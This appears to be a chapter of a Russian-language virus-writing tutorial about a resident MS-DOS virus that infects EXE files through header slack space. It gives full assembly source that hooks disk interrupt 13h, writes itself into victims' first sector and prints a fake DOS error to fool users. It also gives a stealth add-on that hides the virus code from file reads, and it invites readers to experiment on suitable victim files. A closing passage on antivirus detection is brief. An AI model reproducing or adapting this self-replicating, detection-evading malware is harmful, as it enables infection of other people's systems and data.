гл.7 НЕКОТОРЫЙ ПРОГРЕСС (создание ублюдочного резидентного вируса, не гроха-
ющего данные, но поражающего ЕХЕ-файлы избирательно)
ПЕРВОЕ ЗНАКОМСТВО СО СТЭЛС-ВИРУСАМИ (невидимками)
============================================================================
Сразу должны сознаться, - приводимый здесь пример не учитывает тонких
нюансов системы MS-DOS, - он корректно работает лишь если количество DOS-ов-
ских буферов не превышает некоего критического числа (у нас это было 18), в
противном случае PC просто зависает. Позднее мы раскажем об этом подробнее.
Наш первый вирус уничтожал (затирал собою) первый сектор файла, вслед-
ствии чего заражаемая программа превращалась в груду мусора. Но ведь мы сами
сказали, что истинное искусство состоит в том, чтобы вирус был вирусом, но
при этом позволял зараженным программам нормально работать. Можно ли написать
вирус, поражающий ЕХЕ-файлы по тому-же механизму, что и предыдущий (для крат-
кости будем впредь называть наш первый вирус V1), но позволяющий им нормально
выполняться? Да. Для некоторых ЕХЕ-файлов это возможно. При этом мы по-преж-
нему будем заменять 1-ый сектор файла, не изменяя т.о. его длины. Но как?
Все дело в уже упомянутом нами заголовке ЕХЕ-файла, располагающемся в
его начале и начинающемся с "MZ". Этот заголовок имеет определенную структу-
ру. Иногда в нем имеется куча пустого места, где и может спрятаться вирус.
Для написания вируса, который будет прятаться в заголовке нам надо поз-
накомиться со структурой последнего.
Зачем вообще ЕХЕ-файлам заголовки? СОМ-файлы прекрасно без них обходят-
ся. Дело в том, что СОМ-файлы могут иметь размер не более 65535 байт (1 мак-
симальный сегмент). А если Вы хотите создать модуль бОльшего размера (это мо-
жет быть льшь ЕХЕ-файл), -- извольте попотеть!
ПОДРОБНЕЕ: и код и данные СОМ-файла адресуется лишь одним сегментным ре-
гистром CS и счетчиком IP. Перед началом выполнения программы CS устанавлива-
ется равным PSP, а IP = 100 . Регистр стека SS в этом случае автоматически
устанавливается = CS, а регистр SP == SS+65535 (поэтому, кстати, в СОМ-файлах
сам исполняемый код вместе с данныыми, хранимыми в сегменте кода, должены
быть менее 65535 -- нужно оставить место под стек). В случае ЕХЕ-файла, (не-
важно -- бОльшего чем 65535, или нет) регистры CS,SS,IP,SP не определяются
автоматически, как для СОМ-файла.
ЕХЕ- и СОМ-программы запускает на выполнение специальная программа-заг-
рузчик, вызываемая прерыванием 21h (функция 4Bh). Именно такое прерывание
сгенерится если Вы стартанете скажем TETRIS.COM или TETRIS.ЕХЕ. Если эта
программа-загрузчик обрабатывает СОМ-файл, она априори имеет всю информацию о
том, что надо сделать (CS=PSP; IP=100; SS=CS; SP=SS+65535; адресацию некото-
рых объектов, зависящую от места загрузки программы в память (так называемые
настраиваемые элементы) корректировать не надо, - поскольку таковых здесь во-
обще нет). А в случае ЕХЕ-файла -- программа-загрузчик обязана инициализиро-
вать регистры CS,SS,IP,SP и корректировать настраиваемые элементы. Откуда же
взять информацию для выполнения этих операций ? Вот для этой цели и придумали
заголовок. В нем эта информация имеется и еще -- многое другое. Когда прог-
рамма-загрузчик готовится к старту ЕХЕ-файла, она берет информацию из заго-
ловка, загружает в ОЗУ содержимое ЕХЕ-файла (при этом корректирует настраива-
емые элементы) и инициализирует SS,SP,CS,IP, передавая управление загруженно-
му модулю. ПРИ ЭТОМ САМ ЗАГОЛОВОК В ОЗУ НЕ ЗАГРУЖАЕТСЯ ! Как программа-заг-
рузчик узнает, что имеет дело с ЕХЕ-файлом? По сигнатуре "MZ" в начале заго-
ловка . Как программа-загрузчик узнает, где кончается заголовок и начинается
исполняемая часть ЕХЕ-файла? Это написано в заголовке.
А если в начале заголовка не будет сигнатуры "MZ"? Тогда программа-заг-
рузчик решит, что имеет дело с СОМ-файлом и попытается выполнить стандартные
действия -- CS=PSP; IP=100; SS=CS; SP=SS+65535. Помните как действовал V1? Он
затирал собою заголовок и превращал ЕХЕ-программу в СОМ-. При этом до выпол-
нения кода пораженного файла дело вообще не доходило, - выполнялся лишь код
вируса, лежащий в 1-ом секторе файла, на месте прежнего заголовка. А если в
этом случае длина файла более 64 Кб (мы заразили большой ЕХЕ-файл, превравив
его в СОМ-) ? Тогда будет выдано сообщение об ошибке: "programm too big to
fit in memory", ибо программа-загрузчик твердо знает, что СОМ-файл имеет дли-
ну не более 64 Кб.
Вот как устроен заголовок ЕХЕ-файла (по данным thelp /4/):
Смещ.Длина Содержимое
========== ===============================================================
--------¬
+0 2 ¦4Dh 5aH¦ "подпись" файла .EXE ('MZ')
+---+---+
+2 2 ¦PartPag¦ длина неполной последней страницы (обычно игнорируется)
+---+---+
+4 2 ¦PageCnt¦ длина образа в 512-байтовых страницах, включая заголовок
+---+---+
+6 2 ¦ReloCnt¦ число элементов в таблице перемещения
+---+---+
+8 2 ¦HdrSize¦ длина заголовка в 16-байтовых параграфах
+---+---+
+0aH 2 ¦MinMem ¦ минимум требуемой памяти за концом программы (параграфы)
+---+---+
+0cH 2 ¦MaxMem ¦ максимум требуемой памяти за концом программы (параграфы)
+---+---+
+0eH 2 ¦ReloSS ¦ сегментное смещение сегмента стека (для установки SS)
+---+---+
+10H 2 ¦ExeSP ¦ значение регистра SP (указателя стека) при запуске
+---+---+
+12H 2 ¦ChkSum ¦ контрольная сумма (отрицательная сумма всех слов в файле)
+---+---+
+14H 2 ¦ExeIP ¦ значение регистра IP (указателя команд) при запуске
+---+---+
+16H 2 ¦ReloCS ¦ сегментное смещение кодового сегмента (для установки CS)
+---+---+
+18H 2 ¦TablOff¦ смещение в файле 1-го элемента перемещения (часто 001cH)
+---+---+
+1aH 2 ¦Overlay¦ номер оверлея (0 для главного модуля)
L---+----
1cH размер форматированной порции заголовка EXE
--------T-------T -- T-------T-------¬ Таблица перемещения. Начало
+ ? 4*? ¦ смещ. сегмент¦... ¦ смещ. сегмент¦ по смещению [EXE+18H]. Имеет
L---+---+---+---+ -- +---+---+---+---- [EXE+6] 4-байтовых элемента.
+ ? ? пропуск до границы параграфа
+ ? ? начало образа программы
Все, что идет в заголовке начиная с адреса 20h и до конца заголовка мо-
жет быть пустым местом, которое мы сможем использовать в своих целях. Начиная
с этого адреса в заголовке хранится таблица перемещения (это адреса настра-
иваемых элементов; подробнее об этом узнАем после), которая может не содер-
жать ни одного элемента. Сделаем однако некоторое допущение, - пусть таблица
перемещения не пуста, но занимает не более 32 (20h) байт (2 параграфа), а все
остальное место - свободно; - т.о. в заголовке занято лишь первые 40h байт. У
многих ЕХЕ-файлов (если заголовок не упакован) именно так и обстоят дела.
Основная идея нашего второго вируса (V2) такая: заражая ЕХЕ-файл, V2 са-
дится в его начало, превращая жертву в СОМ-файл. При первом запуске заражен-
ного файла в память сажается резидент, а сам файл не выполняется. Пользова-
тель наверняка попробует запустить файл заново (чтобы он не насторожился при
первом несрабатывании -- сажающая резидент часть выдаст сообщение об ошибке,
- возникающее очень часто если нажмешь не на ту клавишу и т.п. -- например
"Bad command or file name"). При повторной попытке запуска файла возникший
резидент обнаружит, что загружается на выполнение файл уже зараженный V2, и
прочитает его в ОЗУ, как ЕХЕ-файл.
Совершенно очевидно что для заражения нам сгодится лишь ЕХЕ-файл с заго-
ловком длиной не менее одного сектора (иначе, действуя по предыдущему алго-
ритму, мы грохнем часть исполняемого кода). При этом настроечная информация и
таблица перемещения в сумме должны занимать не более 64 (40h) первых байт.
Нам также необходимо сохранить где-то эти 4 первых параграфа заголовка
(64 байт).
Вот как видится нам структура вируса, внедрившегося в ЕХЕ-файл:
-----------------------------------------------------------¬
¦ рис.7 ¦:
L-----------------------------------------------------------
исходный ЕХЕ-файл зараженный ЕХЕ-файл
(при этом он стал СОМ-файлом)
адрес
--¬ ¦ --¬ <-----------------¬
¦M¦ 00---¬сигна- ¦ ¦ 00---¬ ¦
¦Z¦ +тура (2 байта) -----JMP Short + 2 байта ¦
+-+ ----- ¦ +-+ ----- ¦
¦ ¦ 02 -¬всякие ¦ ¦ ¦ 02 -¬всякие ¦
¦ ¦ +настройки ¦ ¦ ¦ +настройки +первый
¦ ¦ 1F -- ¦ ¦ ¦ 1F -- ¦сектор
+-+ ¦ +-+ ¦файла
¦ ¦ 20 -¬ ¦ ¦ ¦ 20 -¬ ¦(мы ра-
¦ ¦ +таблица ¦ ¦ ¦ +таблица ¦ботаем
¦ ¦ ¦переме- ¦ ¦ ¦ ¦переме- ¦лишь с
¦ ¦ ¦щения ¦ ¦ ¦ ¦щения ¦ним)
¦ ¦ 3F -- ¦ ¦ ¦ 3F -- ¦
+-+ ¦ +-+ ¦
¦ ¦ 40 -¬ L--->¦Х¦ 40 -¬ ¦
¦ ¦ +пустое ¦Х¦ +код ви- ¦
¦ ¦ ¦место ¦Х¦ ¦руса ¦
¦ ¦ 1FF - ¦Х¦ 1FF - ¦
+-+ +-+ <----------------
¦ ¦ 200 ¬пустое-T(если заголовок ¦ ¦ 200 ¬пустое
¦ ¦ +место---длиннее 512 байт) ¦ ¦ +место
¦ ¦ ¦или на ¦ ¦ ¦или на
¦ ¦ ¦чало ¦ ¦ ¦чало
¦ ¦ ¦кода самОй программы ¦ ¦ ¦кода программы
Теперь смотрите внимательно! -- если в зараженном файле вместо первых
двух символов (JMP Short на тело вируса) поставить "MZ", то зараженный файл
вновь станет полноценным ЕХЕ-файлом! Совсем не важно, что место, которое ран-
ше было пустым, теперь занято кодом вируса. Программа-загрузчик вообще игно-
рирует это место.
Теперь вопрос -- а что если сидящий в памяти резидент обнаружил, что
после чтения секторов буфер ввода/вывода начинается с кода вируса и заменил в
буфере первые 2 байта на "MZ"? В этом случае загруженный в ОЗУ файл будет
опознан как ЕХЕ- и выполнен без ошибок. А этот резидент, как уже было сказано
выше, возник при первом запуске пораженного файла (сам файл при этом выполнен
не был).
Вот исходник вируса V2 (коментарии см. ниже):
-----------------------------------------------------------¬
¦ пример 10 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N10 - наш второй вирус (файл не гробится)
ASSUME CS:CodeSegment
;-----------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short to_initial ; перепрыгнем через данные
; ; и наш обработчик прер-я 13
; ; на инициализирующую часть
;
header_info DB 62 DUP(0) ; данные (хранилище для
; ; настроек ЕХЕ-заголовка)
;
saved_int13: DD 0 ; данные (хранилище для
; ; адреса стандартного обра-
; ; ботчика прерывания 13 --
; ; -- 2 слова)
; ;
admonition DB 'Bad command or file name$' ; данные (выдача "псевдо-
; ; ошибки" - симуляция DOS)
;
to_initial: JMP initial ; короткий джамп не достал бы
; ; до initial
;
;-----------наша п/п-а обработки прерывания 13-----------------¬
int13_treater:;¦ ; ¦
PUSH AX ; ¦
PUSH BX ; ¦
PUSH ES ; ¦
;- предворительные анализы------------------------------------¬¦
;L-------------------------------------------------------------¦
CMP AH,02 ;файл читается? нет - уходим, ¦
JNE return_int ; возвращая прерыв-е 13 за- ¦
; ; конному владельцу ¦
PUSHF ; ¦
CALL dword ptr CS:[saved_int13] ;чтение под контролем ¦
; ; ¦
CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? ¦
JE take_care_of ; да -- познакомимся поближе ¦
; ; нет - проверим нет ли в чи-¦
; ; таемом секторе самогО вируса
; ; ¦
CMP word ptr ES:[BX+60h],5350h ;-¬ читается сектор(а), содер-¦
JNE no_virus ; +-- жащий(ие) сам вирус? ¦
CMP word ptr ES:[BX+62h],8006h ; ¦5350h,8006h - его сигнатура¦
JNE no_virus ;-- нет -- выходим из прерыв-я¦
MOV word ptr ES:[BX],4D5Ah ; ¦
JMP Short EXE_simul ; да -- симуляция ЕХЕ-файла ¦
; ; ¦
take_care_of: ;-------дополнительная проверка пригодности ЕХЕ-файла:--------¬¦
;L-------------------------------------------------------------¦
CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- ¦
JB bad_EXE ; вок? (годится не менее 20h)¦
CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation¦
JA bad_EXE ; ? (годится не более 8h) ¦
CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? ¦
JA bad_EXE ; (годится не более 77h*512) ¦
; ; ¦
;------репродуктивная часть; (жертва найдена !)---------------¬¦
;L-------------------------------------------------------------¦
PUSH CX ; ¦
PUSH DI ; ¦
PUSH SI ; ¦
landing_craft:MOV CX,3Eh ;в тело вируса копируются на- ¦
MOV DI,OFFSET header_info ; стройки ЕХЕ-заголовка ¦
MOV SI,BX ; (2 параграфа) ¦
send_another: MOV AL,ES:[SI+2] ; ¦
MOV byte ptr CS:[DI],AL ; если здесь применить обычно¦
INC DI ; столь экономичную конструк-¦
INC SI ; цию REP MOVS, то мороки бу-¦
LOOP send_another ; дет больше ¦
POP SI ; ¦
POP DI ; ¦
POP CX ; ¦
; ; ¦
MOV AX,0301h ;производится высадка в зара- ¦
MOV BX,OFFSET head ; жаемый файл ¦
PUSH CS ; ¦
POP ES ; ¦
; ; ¦
return_int: PUSHF ; ¦
CALL dword ptr CS:[saved_int13] ; ¦
; ; ¦
;-эти метки -- чисто для мнемоники; на каждую управление пере-¬¦
;¦дается ПОСЛЕ определенного этапа выполнения ¦¦
;L-------------------------------------------------------------¦
no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла ¦
EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл ¦
bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться ¦
POP ES ; ¦
POP BX ; ¦
POP AX ; ¦
IRET ; ¦
;¦ ; ¦
;L--------------------------------------------------------------
;
;------------------инициализирующая часть----------------------¬
;¦ (здесь мы сажаем резидент, переопределяя адреса) ¦
;¦ ; ¦
initial: XOR DX,DX ; ¦
MOV DS,DX ; ¦
MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦
MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦
MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦
MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦
; ; ¦
CLI ;запрещаем прерывания ¦
MOV AX,OFFSET int13_treater ; ¦
MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦
PUSH CS ; адрес нашего обработчика ¦
POP AX ; прерывания 13 ¦
MOV word ptr DS:[13h*4+2],AX ; ¦
STI ;разрешаем прерывания ¦
; ; ¦
PUSH CS ;этот фрагмент выводит на ¦
POP DS ; экран ASCII строку "Bad ¦
MOV AH,09 ; command or file name" ¦
MOV DX,OFFSET admonition ;(функция 09 прерывания 21h¦
INT 21h ; DOS; DS:DX-адрес строки) ¦
; ; ¦
MOV DX,OFFSET rezident_end ;DX<--конец резид. части ¦
; ; (а к ней относится ВСЯ ¦
; ; программа) ¦
INT 27h ;закончить программу и ¦
rezident_end: ;¦ ; вернуться в DOS, оставив ¦
;¦ ; резидентной всю программу¦
;L--------------------------------------------------------------
MainProcedure ENDP
;
CodeSegment ENDS
END Start
коментарии:
Что здесь новенького? Во-первых -- мы выводим на экран строку символов
(печатаем 'Bad command or file name'). Это можно сделать при помощи уже зна-
комого нам прерывания 10h (функция 0Eh) -- печатая в цикле отдельные символы.
Но чтобы организовать цикл, нужно много операторов, а мы боремся за экономию
места. Есть выход -- воспользоваться специальной функцией (09) прерывания
21h. Она осуществляет печать ASCII строки заканчивающейся символом "$". В па-
ру регистров DS:DX нужно загрузить адрес ASCII строки, в AH -- 09 и дать пре-
рывание 21h (INT 21h).
Мы анализируем загружаемый ЕХЕ-файл, --CMP word ptr ES:[BX+8],20h
ведь он еще может оказаться непригодным ¦ JB bad_EXE
для заражения. Вот блок-анализатор:----------+ CMP word ptr ES:[BX+6],08h
ES:[BX+8] - длина заголовка ¦ JA bad_EXE
ES:[BX+6] - длина табл. перемещ-я ¦ CMP word ptr ES:[BX+4],77h
ES:[BX+4] - длина файла в секторах L-JA bad_EXE
Мы анализируем загружаемый ЕХЕ-файл, --CMP word ptr ES:[BX+60h],5350h
не заражен ли он уже нами раньше . ¦ JNE no_virus
Вот блок-анализатор:----------+ CMP word ptr ES:[BX+62h],8006h
5350h и 8006h -- коды команд PUSH AX,PUSH BX,L-JNE no_virus
PUSH ES и CMP AH,02 , с которых начинается резидентная часть вируса.
Если вирус опознал себя в читаемом в память файле, то он делает этот
файл ЕХЕ-файлом (команда MOV word ptr ES:[BX],5A4Dh).
Если вирус обнаружил, что на выполнение считывается годный для заражения
ЕХЕ-файл, он записывает себя в его первый сектор. При этом вирус копирует в
свое тело настройки заголовка ЕХЕ-файла так, чтобы они были в тех-же позици-
ях, что и в заголовке.
Все остальные особенности идентичны примеру 9.
Если захотите поэкспериментировать с этим вирусом, - Вы должны найти
подходящий файл-жертву, в заголовке которого есть пустое место и размером не
более 64 Кб. Это может быть ЕХЕ-файл, созданный компилятором Си 2.0, или тем
же TASM-ом. Еще раз напоминаем о зависании PC, если количество буферов DOS
больше 18 (или около того). Могут, вероятно, плохо влиять всякие утилиты, уп-
равляющие распределением памяти. Многие из ЕХЕ-файлов ныне обрабатываются
специальными компрессаторами, удаляющими ненужные пустоты, и поэтому не могут
быть заражены V2.
Но можно сделать еще круче. Наш вирус может стать невидимкой (Stealth).
Для этого нужно, чтобы его резидентная часть не просто превращала при загруз-
ке зараженный файл в ЕХЕ- (в начало буфера ввода/вывода ложится 'MZ'), но и
заполняла место в буфере, где лежит вирус, нулями. Вот фрагмент, который нуж-
но вставить в текст примера 10 между операторами
MOV word ptr ES:[BX],5A4Dh
------------------> и
¦ JMP Short EXE_simul :
¦
¦ -------------------------------------------¬
¦ ¦ PUSH CX ¦
¦ ¦ PUSH DI ¦
L-+ MOV CX,200h-40h ¦
¦ MOV DI,40h ¦
¦mask_another: MOV byte ptr ES:[BX+DI],00 ¦
¦ INC DI ¦
¦ LOOP mask_another ¦
¦ POP DI ¦
¦ POP CX ¦
L-------------------------------------------
Здесь все вроде-бы понятно. При обнаружении считывания вируса с диска
резидент заполняет в буфере ввода весь заголовок (200h байт) кроме области
настроек (первые 40h байт), т.е. место, где сидит вирус, нулями.
Теперь, если Вы попытаетесь просмотреть файл в режиме активного резиден-
та, -- то не обнаружите кода вируса!
Однако, Stealth-вирусы можно легко обнаружить, если воспользоваться спе-
циальными средствами. И в этом случае Stealth-режим будет действовать наобо-
рот -- демаскировать вирус-невидимку. Парадокс! Такие антивирусные программы
как Adinf, могут безошибочно обнаруживать Stealth-вирусы. Как же это возмож-
но? Вы помните, что прерывания обрабатываются специальными системными под-
программами. Наши фокусы возможны благодаря тому, что мы дополняем процесс
обработки прерывания системной подпрограммой нашими оригинальными действиями.
А что если некто (например -- тот же Adinf) воспользуется вышеупомянутой сис-
темной подпрограммой (как и любую подпрограмму ее можно поместить в свой сег-
мент кода) без генерации сигнала прерывания, которое перехвачено Stealth-ви-
русом. А потом -- сделает то же самое действие при помощи прерывания
(Stealth-вирус при этом будет себя маскировать). И после этого сравнит оба
результата. Будет обнаружено различие: при обработке сигнала прерывания
Stealth-вирус себя замаскировал, тогда как при работе подпрограммы Adinf-а
этого не произошло!
Ну вот мы и еще кое-что узнали.
Конец главе.
Далее
|